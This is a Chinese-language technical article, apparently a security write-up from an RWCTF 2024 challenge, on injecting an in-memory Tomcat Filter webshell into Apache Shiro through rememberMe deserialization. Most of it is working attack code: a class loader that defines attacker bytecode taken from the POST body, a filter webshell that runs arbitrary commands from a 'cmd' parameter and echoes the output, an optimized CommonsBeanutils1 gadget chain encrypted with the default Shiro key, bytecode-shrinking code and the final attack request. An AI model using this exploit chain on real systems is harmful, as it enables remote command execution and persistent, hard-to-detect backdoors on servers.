简化请求头向shiro注入内存马
字数 1067 2025-08-05 11:39:43
简化请求头向Shiro注入内存马技术详解
前言
本文介绍了一种通过简化HTTP请求头向Apache Shiro框架注入内存马的技术。该技术源自RWCTF2024体验赛OldShiro题目,通过优化payload和请求头结构,实现了在严格HTTP头大小限制下的内存马注入。
实验环境
- 目标框架:Apache Shiro
- 攻击方式:POST请求注入内存马
- 关键技术:动态类加载、字节码压缩、请求头优化
POST方式注入内存马
技术背景
在Tomcat默认配置中,最大请求头大小(maxheader)通常不足以承载完整的内存马代码,因此需要特殊技术绕过此限制。现有三种主要方法:
- 通过反射修改maxhttpheadersize
- 使用gzip+base64压缩编码class bytes
- 从POST请求体中发送字节码数据
本文采用第三种方法作为基础技术。
技术原理
POST方法注入内存马的本质是通过动态类加载实现,其流程如下:
- ClassLoader#loadClass
- ClassLoader#findClass
- ClassLoader#defineClass
其中defineClass负责将字节码转换为真正的Java类。
MyClassLoader实现
MyClassLoader需要实现两个核心功能:
- 从POST请求体获取内存马字节流
- 动态加载内存马对象
获取请求体数据
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
String classData=request.getParameter("classData");
动态加载类
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance();
完整MyClassLoader实现
public class MyClassLoader extends AbstractTranslet {
static{
try{
// 获取request对象和classData参数
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
String classData=request.getParameter("classData");
// 解码并加载类
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance();
}catch (Exception e){
e.printStackTrace();
}
}
// 必须实现的抽象方法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
内存马准备
以Filter内存马为例:
public class EvilFilter extends AbstractTranslet implements Filter{
static {
try {
// 获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 设置FilterDef
Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
// 设置FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
field1.setAccessible(true);
Map filterConfigs = (Map)field1.get(context);
filterConfigs.put("EvilFilter", filterConfig);
// 设置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMap(filterMap);
}catch (Exception e){
e.printStackTrace();
}
}
// 必须实现的抽象方法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
// Filter接口方法
@Override public void init(FilterConfig filterConfig) throws ServletException {}
@Override public void destroy() {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
// 执行命令并回显
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = servletResponse.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
filterChain.doFilter(servletRequest, servletResponse);
}
}
字节码编码
使用Base64对内存马字节码进行编码:
public class Base64Client {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(EvilFilter.class.getName());
byte[] payloads = clazz.toBytecode();
byte[] classData = java.util.Base64.getEncoder().encode(payloads);
System.out.println(new String(classData));
}
}
注意:classData需要进行URL编码才能正常使用。
如何简化请求头
优化策略
- 减少payload字符串内容:压缩所有涉及字符串的部分
- 使用javassist动态生成字节码(本场景不适用)
- 使用ASM删除LINENUMBER指令
CB链payload优化
优化后的CommonsBeanutils1Shiro链:
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "t"); // 最小化_name字段
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
MyClassLoader优化
简化异常处理:
public class MyClassLoader extends AbstractTranslet {
public MyClassLoader(){
try{
// 简化后的代码
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance();
}catch (Exception ignored){
// 忽略所有异常
}
}
// 必须保留的抽象方法
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
ASM删除LINENUMBER指令
使用ASM技术进一步压缩字节码:
public static byte[] shortenClassBytes(byte[] classBytes) {
ClassReader cr = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM7;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
return cw.toByteArray();
}
public static class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// 删除行号信息
}
}
移除不必要的transform方法
使用javassist移除不必要的抽象方法:
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.get(MyClassLoader.class.getName());
CtMethod ctMethod = clazz.getDeclaredMethod("transform");
clazz.removeMethod(ctMethod);
最终payload生成
public class Client1 {
public static void main(String []args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.get(MyClassLoader.class.getName());
CtMethod ctMethod = clazz.getDeclaredMethod("transform");
clazz.removeMethod(ctMethod);
byte[] old_payload = shortenClassBytes(clazz.toBytecode());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(old_payload);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString().length());
}
// 包含上述ASM相关方法...
}
最小化HTTP请求头
经过优化后,HTTP请求头可简化为:
POST /doLogin HTTP/1.1
Host: 127.0.0.1:8080
Cookie: rememberMe=(优化后的payload)
Content-Type: application/x-www-form-urlencoded
Content-Length: 25623
最终可将HTTP头大小限制在约3600字节左右。
参考文章
- Shiro反序列化漏洞利用中header长度限制的思考与突破
- Shiro Padding Oracle漏洞检测工具
- RWCTF体验赛2024相关资料